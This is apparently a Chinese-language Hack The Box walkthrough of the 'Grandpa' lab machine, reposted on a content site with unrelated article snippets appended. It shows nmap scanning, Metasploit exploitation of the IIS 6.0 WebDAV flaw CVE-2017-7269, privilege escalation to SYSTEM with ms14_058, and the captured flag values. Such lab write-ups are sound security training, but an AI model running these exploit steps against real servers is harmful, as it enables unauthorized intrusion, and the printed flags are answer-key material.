HTB:Grandpa[WriteUP]

目录

连接至HTB服务器并启动靶机

1.Which version of Microsoft IIS is running on TCP port 80?

2.Which 2017 CVE abuses a Buffer overflow in the ScStoragePathFromUrl function in that specific IIS version, allowing remote attackers to execute arbitrary code?

3.Which metasploit module can be used to exploit the aforementioned CVE?

4.Which metasploit reconnaissance module can be used to list possible privilege escalation paths on a compromised system?

5.Submit the flag located on the Harry user's desktop.

6.Submit the flag located on the administrator's desktop.

USER_FLAG:bdff5ec67c3cff017f2bedc146a5d869

ROOT_FLAG:9359e905a2c35f861f6a57cecf28bb7b


连接至HTB服务器并启动靶机

靶机IP:10.10.10.14

分配IP:10.10.16.22


1.Which version of Microsoft IIS is running on TCP port 80?

使用nmap扫描靶机TCP开放端口

nmap -p- --min-rate=1500 -sS -Pn 10.10.10.14

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -sS -Pn 10.10.10.14
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-30 20:45 EDT
Nmap scan report for 10.10.10.14
Host is up (0.070s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 87.40 seconds

使用nmap对靶机80端口进行脚本、服务信息扫描

nmap -p 80 -sCV 10.10.10.14

由扫描结果可见,靶机80端口中间件IIS版本为:6.0


2.Which 2017 CVE abuses a Buffer overflow in the ScStoragePathFromUrl function in that specific IIS version, allowing remote attackers to execute arbitrary code?

直接在网上搜索关键词可以找到漏洞:CVE-2017-7269


3.Which metasploit module can be used to exploit the aforementioned CVE?

启动Metasploit

msfconsole

搜索IIS 6.0相关的模块

search IIS 6.0

结合nmap扫描结果可知,靶机同时还使用了WebDAV则最后一个模块最合适:iis_webdav_scstoragepathfromurl

use exploit/windows/iis/iis_webdav_scstoragepathfromurl

列出该模块可填选项

show options

这里需要填好的选项:RHOSTS、LHOST

输入exploit或run开始漏洞利用


4.Which metasploit reconnaissance module can be used to list possible privilege escalation paths on a compromised system?

提权扫描模块在MSF一般指的是:post/multi/recon/local_exploit_suggester


5.Submit the flag located on the Harry user's desktop.

6.Submit the flag located on the administrator's desktop.

切换到终端

shell

进入C盘根目录下

cd C:\

尝试直接查找user_flag位置

dir /s user.txt

发现找不到这个文件这很奇怪,很可能是权限不足

执行whoami命令发现当前用户为:nt authority\network service

C:\Documents and Settings>whoami
whoami
nt authority\network service

列出当前目录下所有文件

C:\>dir
dirVolume in drive C has no label.Volume Serial Number is FDCB-B9EFDirectory of C:\04/12/2017  04:27 PM    <DIR>          ADFS
04/12/2017  04:04 PM                 0 AUTOEXEC.BAT
04/12/2017  04:04 PM                 0 CONFIG.SYS
04/12/2017  04:32 PM    <DIR>          Documents and Settings
04/12/2017  04:17 PM    <DIR>          FPSE_search
04/12/2017  04:17 PM    <DIR>          Inetpub
12/24/2017  07:18 PM    <DIR>          Program Files
09/16/2021  11:52 AM    <DIR>          WINDOWS
04/12/2017  04:05 PM    <DIR>          wmpub2 File(s)              0 bytes7 Dir(s)   1,317,928,960 bytes free

进入Documents and Settings目录中

cd "Documents and Settings"

查看该目录下所有文件

C:\Documents and Settings>dir
dirVolume in drive C has no label.Volume Serial Number is FDCB-B9EFDirectory of C:\Documents and Settings04/12/2017  04:32 PM    <DIR>          .
04/12/2017  04:32 PM    <DIR>          ..
04/12/2017  04:12 PM    <DIR>          Administrator
04/12/2017  04:03 PM    <DIR>          All Users
04/12/2017  04:32 PM    <DIR>          Harry0 File(s)              0 bytes5 Dir(s)   1,317,928,960 bytes free

尝试进入Harry目录,提示权限不够~

C:\Documents and Settings>cd Harry
cd Harry
Access is denied.

那就回到Meterpreter,并将其收到会话中

background

切换到提权扫描模块

use post/multi/recon/local_exploit_suggester

运行后,我们选择标绿色的模块尝试哪个可用

选择其中一个提权模块

use exploit/windows/local/ms14_070_tcpip_ioctl

msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > set LHOST 10.10.16.22
LHOST => 10.10.16.22
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > set LPORT 7878
LPORT => 7878
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > run

[*] Started reverse TCP handler on 10.10.16.22:7878
[-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_config_getsid: Operation failed: Access is denied.
[*] Exploit completed, but no session was created.

可以看到报错为操作失败无法访问,我们尝试将Meterpreter进程进行迁移

使用进程自动扫描迁移模块:post/windows/manage/migrate

use post/windows/manage/migrate

再次切换到提权模块(我这里随便在标绿模块里又随便选了一个)

use exploit/windows/local/ms14_058_track_popup_menu

查看当前用户

getuid

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

直接搜索user_flag、root_flag位置

search -f user.txt
search -f root.txt

meterpreter > search -f user.txt
Found 1 result...
=================

Path                                              Size (bytes)  Modified (UTC)
----                                              ------------  --------------
c:\Documents and Settings\Harry\Desktop\user.txt  32            2017-04-12 10:32:26 -0400

meterpreter > search -f root.txt
Found 1 result...
=================

Path                                                      Size (bytes)  Modified (UTC)
----                                                      ------------  --------------
c:\Documents and Settings\Administrator\Desktop\root.txt  32            2017-04-12 10:29:33 -0400

查看user_flag、root_flag内容

meterpreter > shell
Process 2148 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>type "c:\Documents and Settings\Harry\Desktop\user.txt"
type "c:\Documents and Settings\Harry\Desktop\user.txt"
bdff5ec67c3cff017f2bedc146a5d869
c:\windows\system32\inetsrv>type "c:\Documents and Settings\Administrator\Desktop\root.txt"
type "c:\Documents and Settings\Administrator\Desktop\root.txt"
9359e905a2c35f861f6a57cecf28bb7b

USER_FLAG:bdff5ec67c3cff017f2bedc146a5d869

ROOT_FLAG:9359e905a2c35f861f6a57cecf28bb7b

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/59485.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI笔筒操作说明及应用场景

AI笔筒由来&#xff1a; 在快节奏的现代办公环境中&#xff0c;我们一直在寻找既能提升效率、增添便利&#xff0c;又能融入企业文化、展现个人品味的桌面伙伴。为此&#xff0c;我们特推出专为追求卓越、注重细节的您设计的AI笔筒礼品版&#xff0c;它集高科技与实用性于一身…

ssm+vue684基于WEB技术的在线商品交易平台的设计

博主介绍&#xff1a;专注于Java&#xff08;springboot ssm 等开发框架&#xff09; vue .net php phython node.js uniapp 微信小程序 等诸多技术领域和毕业项目实战、企业信息化系统建设&#xff0c;从业十五余年开发设计教学工作 ☆☆☆ 精彩专栏推荐订阅☆☆☆☆☆不…

【青牛科技】GC8549替代LV8549/ONSEMI在摇头机、舞台灯、打印机和白色家电等产品上的应用分析

引言 在现代电子产品中&#xff0c;控制芯片的性能直接影响到设备的功能和用户体验。摇头机、舞台灯、打印机和白色家电等领域对控制精度、功耗和成本等方面的要求日益提高。LV8549/ONSEMI等国际品牌的芯片曾是这些产品的主要选择&#xff0c;但随着国内半导体技术的进步&…

【英特尔IA-32架构软件开发者开发手册第3卷:系统编程指南】2001年版翻译,2-15

文件下载与邀请翻译者 学习英特尔开发手册&#xff0c;最好手里这个手册文件。原版是PDF文件。点击下方链接了解下载方法。 讲解下载英特尔开发手册的文章 翻译英特尔开发手册&#xff0c;会是一件耗时费力的工作。如果有愿意和我一起来做这件事的&#xff0c;那么&#xff…

C语言---程序设计基础练习题目3

对之前的练习和文章进行回顾&#xff0c;并在此文章中解决新问题 如在题目中有看不明白的地方 可跳转我的主页去查看 Wanyu的主页 以下题目是留在文章中的练习&#xff1a;&#xff08;点击即可查看&#xff09; Wanyu C语言—程序设计练习题目及学习方法2 习题1&#xff1a;…

[SAP ABAP] 面向对象程序设计-类和对象

面向对象开发的特点&#xff1a;封装、继承和多态 什么是类和对象&#xff1f; 类(CLASS)是创建对象的模板&#xff0c;对象(OBJECT)是类的实例 一个类可以创建多个对象 类 > 类型 对象 > 个体 在ABAP语言中&#xff0c;定义一个类&#xff0c;需要包含定义(defin…

实验05多重循环---7-04 小于m的最大的10个素数

给定一个整数m&#xff08;50<m<20000&#xff09;&#xff0c;找出小于m的最大的10个素数。 输入格式: 输入在一行中给出一个正整数m&#xff08;50<m<20000&#xff09;。 输出格式: 在一行中按递减顺序输出10个满足条件的素数&#xff0c;每个素数输出占6列。…

模型 泰斯勒定律(复杂性守恒定律)

系列文章 分享 模型&#xff0c;了解更多&#x1f449; 模型_思维模型目录。复杂性守恒&#xff0c;转移而非消除。 1 泰斯勒定律的应用 1.1 电视遥控器的复杂性转移 在过去&#xff0c;电视遥控器设计得非常复杂&#xff0c;拥有许多按钮和功能&#xff0c;这使得用户在使用…

前端注释都应该怎么写?

以下是一些前端注释的例子&#xff0c;展示了如何应用前面提到的建议&#xff1a; 1. 使用清晰、简洁的语言 // 计算两个数的平均值 function calculateAverage(a, b) {return (a b) / 2; }2. 描述代码的目的和功能 // 将日期格式化为 "YYYY-MM-DD" 的字符串 fun…

KubeSphere v4 扩展组件使用指南

KubeSphere v4 扩展组件使用指南 日前&#xff0c;KubeSphere v4 发布&#xff0c;相较于之前的版本&#xff0c;新版本在架构上有了较大的变化。其中&#xff0c;有一个新的概念——扩展组件。 本文我们将针对扩展组件做一个详细的说明&#xff0c;让大家对扩展组件能够了解…

后端-内连接(INNER JOIN),左外连接(LEFT JOIN)和右外连接(RIGHT JOIN)的区别

SQL 语句中的 内连接、外连接、左连接 和 右连接 是常见的用于联合多张表的数据查询方式。它们的区别主要体现在如何处理在连接的表中没有匹配数据的记录。 1. 内连接&#xff08;INNER JOIN&#xff09; 内连接是最常见的一种连接方式&#xff0c;它返回两个表中满足连接条件…

【Orange Pi 设备】window11主机下使用VNC可视化控制RK3566

【Orange Pi 设备】window11主机下使用VNC可视化控制RK3566 前言VNC连接搭建(WiFi模式)Orange Pi 3B操作本地主机操作 总结 XFCE桌面VNC连接后灰屏问题&#xff0c;可以优先尝试本文的方式 前言 Orange Pi 3B 是一款基于瑞芯微 RK3566 处理器的单板计算机&#xff0c;旨在为开…

Go 语言的函数调用

1. 引言 Go 语言的函数调用是其核心特性之一,Go 的函数调用方式既简洁又强大。理解 Go 语言中的函数调用机制不仅有助于编写更高效的代码,也能帮助开发者深入了解 Go 的并发模型和内存管理。 在这篇博客中,我们将详细探讨 Go 语言的函数调用机制,了解函数的声明、调用、参…

【VUE+DRF】案例升级

1、功能完善&#xff08;简易版&#xff09; 1.1 后端API校验 基于drf的认证组件实现只有登录之后才能查看 utils/auth.py from rest_framework.authentication import BaseAuthentication from rest_framework.exceptions import APIException, AuthenticationFailed from…

背靠背MOS管-锂电池充放电控制详解

目录&#xff1a; 1、概述 2、外接适配器 3、使用锂电池 4、电池检测回路 1、概述 本锂电池充放电控制电路采用 TP4055 作为电池 BAT 的充电控制&#xff0c;如下图1.1绿色框所示。 TP4055 引脚功能描述&#xff1a; 1CHRG开漏输出的充电状态指示引脚&#xff0c;需要上…

嵌入式软件八股文

1.指针的大小是固定的&#xff0c;和指针的类型没有关系 只与编译器有关&#xff0c;32位系统指针大小为8个字节&#xff0c;x64一般为64位系统&#xff0c;指针大小一般为4个字节。 2.sizeof()和strlen() sizeof()计算所占内存的大小,可以计算int float大小 strlen()计算的…

美畅物联丨物联网通信新纪元:Cat.1与5G RedCap的差异化应用

​ 在物联网&#xff08;IoT&#xff09;迅猛发展的时代&#xff0c;通信标准对物联网设备的连接性、性能和适用性有着极为关键的作用。小编在《美畅物联丨Cat.1与NB-IoT&#xff1a;物联网设备的通信标准对比》中提到Cat.1与NB-IoT的对比区别&#xff0c;后来就有小伙伴问&…

单表查询题库

1. 查看course表结构的SQL命令是什么&#xff1f; A. SELECT * FROM exam.course; B. \d exam.course; C. \d exam.course; D. DESCRIBE exam.course; 答案&#xff1a;C 2. 使用哪个SQL命令可以查看exam.course表中的所有数据&#xff1f; A. SELECT * FROM e…

vue用jenkins 打包项目项目关闭eslint检查

问题描述&#xff1a;创建vue脚手架项目后&#xff0c;使用jenkins 打包项目&#xff0c;出现如下图所示错误&#xff0c;显示错误来源于eslint检测。 解决方法&#xff1a;在根目录下找到vue.config.js文件&#xff0c;添加lintOnSave: false以关闭eslint检测&#xff0c;项目…

序列中删除指定数字【四种解法】

文章目录 解法1&#xff1a;另辟空间法解法2&#xff1a;覆盖法解法3&#xff1a;覆盖法&#xff08;进阶版&#xff09;解法4&#xff1a;异或取巧法 题目&#xff1a;有一个整数序列&#xff08;可能存在重复的整数&#xff09;&#xff0c;编写程序删除序列中指定的某一个整…